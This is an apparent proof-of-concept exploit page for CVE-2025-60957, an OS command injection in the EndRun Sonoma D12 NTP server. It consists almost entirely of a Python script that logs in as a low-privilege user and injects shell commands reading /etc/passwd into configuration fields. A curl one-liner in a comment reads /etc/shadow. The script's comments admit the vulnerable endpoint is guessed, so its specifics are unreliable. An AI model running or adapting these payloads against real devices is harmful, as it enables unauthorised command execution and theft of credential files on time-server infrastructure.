CVE-2025-60957：EndRun Sonoma D12 NTP服务器OS命令注入漏洞

# CVE-2025-60957 - EndRun Sonoma D12 OS Command Injection PoC # Author: Security Researcher # Description: Demonstrates OS command injection via authenticated web interface import requests import sys TARGET_URL = "https://<target-ip>/" USERNAME = "low_priv_user" PASSWORD = "password123" # Malicious payload - injects OS command via vulnerable parameter # Example: injecting into a diagnostic or configuration field INJECTION_PAYLOAD = "; id; uname -a; cat /etc/passwd; #" def exploit(): session = requests.Session() # Step 1: Authenticate with low-privilege credentials login_url = f"{TARGET_URL}/login.cgi" login_data = { "username": USERNAME, "password": PASSWORD } resp = session.post(login_url, data=login_data, verify=False) if resp.status_code != 200: print("[-] Authentication failed") sys.exit(1) print("[+] Authenticated successfully") # Step 2: Inject OS command via vulnerable parameter # The vulnerable endpoint may vary; common candidates include # NTP config, hostname settings, or diagnostic tools exploit_url = f"{TARGET_URL}/config.cgi" exploit_data = { "ntp_server": INJECTION_PAYLOAD, "hostname": INJECTION_PAYLOAD, "timezone": INJECTION_PAYLOAD } resp = session.post(exploit_url, data=exploit_data, verify=False) # Step 3: Check for command execution indicators if "uid=" in resp.text or "root" in resp.text: print("[+] Command injection successful!") print(resp.text) else: print("[*] Response received, check manually") print(resp.text[:500]) if __name__ == "__main__": requests.packages.urllib3.disable_warnings() exploit() # Alternative exploitation via direct curl command: # curl -k -u "user:pass" -d "ntp_server=;cat /etc/shadow;#" https://target/config.cgi